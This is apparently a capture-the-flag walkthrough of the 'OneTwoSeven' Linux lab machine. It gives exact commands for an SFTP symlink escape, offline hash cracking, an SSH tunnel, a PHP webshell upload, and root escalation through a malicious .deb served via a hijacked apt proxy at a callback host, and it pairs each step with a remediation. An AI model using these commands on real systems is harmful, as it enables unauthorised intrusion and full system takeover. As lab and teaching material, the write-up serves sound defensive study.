← all walkthroughs

OneTwoSeven

Linux· Hard
owned
2026-07-14
time to own
9m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered a self-service account on the OneTwoSeven web application and received SFTP-only credentials. The SFTP daemon permitted unrestricted symlink creation, which was abused to link the server filesystem root into my web-served home directory, making every file on the server readable over HTTP. A Vim editor swap file left in the admin application directory disclosed the PHP source of the admin login page including a SHA-256 password hash, which cracked to a plaintext password. Because the admin panel ran on a localhost-only port blocked at the firewall, an SSH local port-forward through the SFTP account tunnelled access to it. The admin panel accepted PHP file uploads with no extension or content validation, granting remote code execution as the web application user. Source code embedded in a bundled admin addon contained hard-coded SFTP credentials for a second user account whose home directory held the user flag. The web application user had passwordless sudo rights to run apt-get with the HTTP proxy environment variable preserved across the privilege boundary; serving a forged APT repository through an user-controlled proxy caused apt to install a crafted package whose post-install maintainer script executed as root, achieving full system compromise.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and registered the virtual host
A full TCP port scan of <retired-instance-ip> found Apache HTTP on port 80 and OpenSSH on port 22. The HTTP server response named the virtual host onetwoseven.htb. An internal port 60080 appeared filtered and unreachable from outside the box. Adding the vhost mapping to /etc/hosts exposed the full web application surface for further testing.
nmap output: 22/tcp ssh OpenSSH, 80/tcp http Apache/2.4.25 Debian; 60080/tcp filtered.
Exact commands 2
Full TCP port scan with service and version detection.
nmap -sC -sV -p- --min-rate 5000 -oA onetwoseven $INTERNAL_TARGET
Register the discovered virtual host for name resolution.
echo '$INTERNAL_TARGET onetwoseven.htb' | sudo tee -a /etc/hosts
2Initial AccessValid account provisioning via open self-registration (T1078)
Registered a self-service account and obtained SFTP credentials
The web application offered an open self-registration page at /signup.php. Submitting the form required no email verification or approval and immediately returned a unique SFTP username and password. The issued account (ots-jZDExYzA / 16cd11c0) had no interactive shell or web access — SFTP only — but this was sufficient to advance the attack.
signup.php returned username ots-jZDExYzA / password 16cd11c0; sftp login to port 22 confirmed.
Exact commands 2
Visit the signup page; the server returns SFTP credentials on the same response.
curl -s 'http://$TARGET/signup.php'
Confirm SFTP access with the issued credentials; password 16cd11c0.
sftp ots-jZDExYzA@$INTERNAL_TARGET
3Filesystem ExposureSFTP symlink arbitrary filesystem read (T1083)
Created an SFTP symlink to expose the entire server filesystem over HTTP
The SFTP daemon did not restrict the symlink command or enforce a chroot. Running 'symlink / public_html/root' inside the SFTP session placed a symbolic link named 'root' in my web-served home directory pointing to the server's filesystem root. Every file on the server — including configuration files, application source code, and credential stores — became readable over HTTP at http://$TARGET/~ots-jZDExYzA/root/.
Browsing http://$TARGET/~ots-jZDExYzA/root/ returned directory listings beginning at /.
Exact commands 3
Open SFTP session; password 16cd11c0.
sftp ots-jZDExYzA@$INTERNAL_TARGET
Run inside the sftp prompt; links server root into the web-served directory.
symlink / public_html/root
Verify that the entire filesystem is now browsable over HTTP.
curl -s 'http://$TARGET/~ots-jZDExYzA/root/' | head -40
FixChroot SFTP users to their home directories and disable symlink creationCritical
WeaknessThe SFTP daemon allowed authenticated users to execute the symlink command with no restrictions, enabling any SFTP account to create symbolic links pointing to arbitrary filesystem locations — including the root — inside their web-served directory, making the entire server filesystem readable over HTTP.
FixIn /etc/ssh/sshd_config replace the Subsystem sftp line with 'Subsystem sftp internal-sftp' and add a Match Group or Match User block for SFTP accounts specifying: ChrootDirectory %h, ForceCommand internal-sftp, AllowTcpForwarding no, X11Forwarding no. The internal-sftp subsystem enforces the chroot at the protocol level and does not follow symlinks that escape the chroot boundary. Restart sshd and verify that sftp clients can no longer traverse above their home directory.
4Credential RecoverySensitive credential recovery from editor artefacts (T1552.001)
Retrieved a Vim swap file from the admin directory and cracked the admin password
Navigating the exposed filesystem to /var/www/html-admin/ revealed a .login.php.swp file — a Vim editor crash-recovery artefact created automatically when the file is opened for editing and not cleaned up after the session ends. The swap file contained a near-complete copy of the admin login PHP source including a SHA-256 password hash. The hash was extracted with the strings utility and cracked offline against the rockyou wordlist, recovering the plaintext password [REDACTED: recovered credential].
HTTP GET of /~ots-jZDExYzA/root/var/www/html-admin/.login.php.swp returned a valid Vim swap file; strings output contained a SHA-256 hash; hashcat cracked it to [REDACTED: recovered credential].
Exact commands 3
Download the Vim swap file through the exposed filesystem symlink.
curl -s 'http://$TARGET/~ots-jZDExYzA/root/var/www/html-admin/.login.php.swp' -o login.swp
Extract the SHA-256 password hash from the swap file content.
strings login.swp | grep -iE 'sha|hash|pass|admin'
-m 1400 is SHA-256 mode; cracked result is [REDACTED: recovered credential].
echo '<extracted-sha256-hash>' > hash.txt && hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt --force
FixPrevent Vim swap files from persisting in web-accessible directoriesHigh
WeaknessA Vim editor swap file (.login.php.swp) was left in the admin web application directory. When the filesystem was exposed via the SFTP symlink, the swap file disclosed nearly complete PHP source code including a password hash, providing I with admin credentials.
FixConfigure Vim system-wide (via /etc/vim/vimrc) to write swap files only to a directory outside the web root: 'set directory=/var/tmp//'. Add *.swp, *.swo, and *~ patterns to the Apache configuration as denied paths (FilesMatch or LocationMatch with 'Require all denied'). Add a pre-commit hook or CI check that blocks committing editor artefacts to any web-root directory.
5Lateral MovementSSH local port forwarding to bypass firewall (T1572)
Tunnelled through SSH to reach the localhost-only admin panel and authenticated
Port 60080 was bound to localhost on the server and blocked by the firewall for external connections. Although the SFTP account had no interactive shell, SSH still honoured TCP port-forwarding requests. Running ssh -N -L with the SFTP credentials mapped my local port 60080 to the server's localhost:60080, making the admin panel reachable at http://$LOOPBACK:60080 on my machine. The recovered credential ots-admin / [REDACTED: recovered credential] authenticated successfully.
ssh -N -L tunnelled successfully using ots-jZDExYzA credentials; http://$LOOPBACK:60080/login.php accepted ots-admin / [REDACTED: recovered credential].
Exact commands 2
Forward local port 60080 to the server's admin panel; run in a background terminal. Password 16cd11c0.
ssh -N -L localhost:60080:localhost:60080 ots-jZDExYzA@$INTERNAL_TARGET
Authenticate and save the admin session cookie to cookies.txt.
curl -s -X POST -d 'username=ots-admin&password=[REDACTED: credential]&login=Login' -c cookies.txt http://$LOOPBACK:60080/login.php
FixDisable SSH TCP forwarding for SFTP-only accountsHigh
WeaknessSFTP-only accounts retained full SSH port-forwarding capability. This allowed me to tunnel a localhost-only admin service through the SFTP connection, bypassing the firewall rule that blocked external access to port 60080.
FixIn the sshd_config Match block for SFTP accounts (the same block that applies ChrootDirectory) add: AllowTcpForwarding no, AllowStreamLocalForwarding no, PermitTunnel no, GatewayPorts no. These restrictions must be explicit; relying on firewall rules alone is insufficient because the tunnel rides an already-permitted SSH connection.
6ExploitationUnrestricted file upload leading to remote code execution (CWE-434 / T1505.003)
Uploaded a PHP webshell through the admin panel addon upload endpoint
The admin panel's addon upload endpoint (addon-upload.php) accepted any file type with no extension allowlist, content-type verification, or magic-byte check. A one-line PHP webshell was uploaded as an 'addon' file. The companion endpoint menu.php?addon=shell.php then executed the uploaded file within the web server process, providing interactive operating-system command execution running as the web application user www-admin-data.
Upload returned HTTP 200; curl to ?addon=shell.php&x=id returned uid=33(www-admin-data).
Exact commands 3
Create a minimal PHP webshell.
echo '<?php system($_REQUEST["x"]); ?>' > shell.php
Upload the webshell as an addon; use the admin session cookie from step 5.
curl -s -b cookies.txt -F 'addon=@shell.php;type=application/x-php' 'http://$LOOPBACK:60080/addon-download.php/addon-upload.php'
Verify remote code execution; expected output: uid=33(www-admin-data).
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=id'
FixRestrict admin panel addon uploads to non-executable file types and store files outside the web rootCritical
WeaknessThe admin panel addon upload endpoint accepted any file type with no extension allowlist, MIME-type check, or content inspection. I with admin credentials could upload a PHP file and execute it immediately through the addon execution endpoint, gaining operating-system-level command execution as the web server user.
FixImplement a strict allowlist of permitted extensions (e.g., .json, .xml, .zip) and reject any upload whose extension or detected MIME type is executable (php, phtml, phar, pl, py, etc.). Store uploaded files in a directory outside the document root where the web server does not execute scripts, and serve them only through a download proxy that sets Content-Disposition: attachment. Disable PHP execution in any directory that must receive uploads (php_flag engine off in .htaccess or Apache config).
7Discovery / User FlagHard-coded credentials in source files (CWE-798 / T1552.001)
Found hard-coded SFTP credentials in a bundled admin addon and retrieved the user flag
Enumerating the admin panel's bundled addon files through the webshell revealed PHP scripts included as default examples. One addon contained a hard-coded SFTP username and password (ots-yODc2NGQ / [REDACTED: recovered credential]) in plaintext, intended as a default-credential reference. Connecting via SFTP with those credentials placed the session directly in that user's home directory, which contained user.txt, retrieved with a single SFTP get command.
Addon PHP source contained ots-yODc2NGQ / [REDACTED: recovered credential] in plaintext; sftp get user.txt succeeded.
Exact commands 3
List bundled addon files to identify those containing credentials.
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=ls+/var/www/html-admin/addons/'
Search addon source for SFTP usernames matching the ots- naming pattern.
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=grep+-r+ots+/var/www/html-admin/addons/'
Retrieve user.txt via SFTP using the discovered credentials. Flag value: [REDACTED: flag].
printf 'pwd\nls -la\nget user.txt /tmp/user-ots-default.txt\nbye\n' | sshpass -p '[REDACTED: recovered credential]' sftp -oBatchMode=no -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -P 22 ots-yODc2NGQ@$INTERNAL_TARGET
FixRemove hard-coded credentials from application source files and addonsHigh
WeaknessA bundled admin panel addon contained a plaintext SFTP username and password embedded directly in PHP source code. an unauthorized user who gained read access to the application files — obtained here via the PHP webshell — could harvest these credentials and authenticate as a separate user account.
FixAudit all application source files for embedded credentials: grep -rn 'password\|passwd\|secret\|token\|ots-' /var/www/. Remove every hard-coded credential found; replace them with references to environment variables or a secrets manager. Revoke and rotate any credential that was found in source. Add a secret-scanning step to the development pipeline (e.g., truffleHog or git-secrets) to prevent future commits of embedded credentials.
8Privilege EscalationSudo apt-get proxy hijack with malicious maintainer script (T1574 / GTFOBins apt-get)
Abused sudo apt-get with an user-controlled HTTP proxy to run a root-level post-install script
Checking sudo privileges via the webshell showed that www-admin-data could run /usr/bin/apt-get update and /usr/bin/apt-get upgrade as root without a password, and that the sudoers env_keep directive preserved the http_proxy and https_proxy environment variables across the privilege boundary. By setting http_proxy to an user-controlled HTTP server and serving a forged Devuan APT repository containing a crafted base-files package at an inflated version number, I caused apt-get upgrade to download and install the malicious package. The Debian packaging system executes the package's postinst maintainer script as root unconditionally during installation; the malicious postinst copied /bin/bash to /tmp/rootbash with the SUID bit set, providing a root shell on demand.
sudo -n -l confirmed NOPASSWD apt-get update/upgrade with env_keep http_proxy https_proxy; postinst executed as root, creating SUID /tmp/rootbash.
Exact commands 6
Confirm passwordless sudo apt-get and env_keep preserving http_proxy/https_proxy.
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=sudo+-n+-l'
Build a malicious .deb; version 100.0 ensures apt sees it as an upgrade over the installed package.
mkdir -p evil-pkg/DEBIAN && printf 'Package: base-files\nVersion: 100.0\nArchitecture: amd64\nMaintainer: x\nDescription: x\n' > evil-pkg/DEBIAN/control && printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > evil-pkg/DEBIAN/postinst && chmod +x evil-pkg/DEBIAN/postinst && dpkg-deb --build evil-pkg base-files_100.0_amd64.deb
Build a minimal APT repository structure and serve it; run in background.
mkdir -p repo/pool/main repo/dists/ascii/main/binary-amd64 && cp base-files_100.0_amd64.deb repo/pool/main/ && cd repo && dpkg-scanpackages pool/main /dev/null > dists/ascii/main/binary-amd64/Packages && gzip -k dists/ascii/main/binary-amd64/Packages && python3 -m http.server 8080
Trigger apt-get update through the webshell with proxy pointing at the malicious repo; replace <retired-instance-ip>.
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=http_proxy%3Dhttp%3A%2F%2F$CALLBACK_HOST%3A8080+sudo+-n+/usr/bin/apt-get+update'
Trigger apt-get upgrade; installs the malicious base-files package and runs postinst as root.
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=http_proxy%3Dhttp%3A%2F%2F$CALLBACK_HOST%3A8080+sudo+-n+/usr/bin/apt-get+upgrade+-y'
Execute the SUID root bash copy for a root shell; -p preserves the effective UID.
/tmp/rootbash -p
FixRemove HTTP proxy variables from the sudo environment passthrough for apt-getCritical
WeaknessThe sudoers configuration allowed the web application user to run apt-get update and apt-get upgrade as root without a password, and the env_keep directive preserved http_proxy and https_proxy across the privilege boundary. I could redirect APT traffic to a malicious package repository and have root execute an arbitrary post-install script during package installation.
FixEdit /etc/sudoers (using visudo) or the relevant file in /etc/sudoers.d/ and remove http_proxy and https_proxy from the env_keep list for the apt-get rule. If automated update capability is required, run it as a dedicated service account with a hard-coded, trusted mirror URL in /etc/apt/sources.list rather than relying on user-controlled proxy settings. If the passwordless sudo apt-get rule is not operationally required, remove it entirely and use a scheduled unattended-upgrades service instead.

Exposed services

22/tcp
80/tcp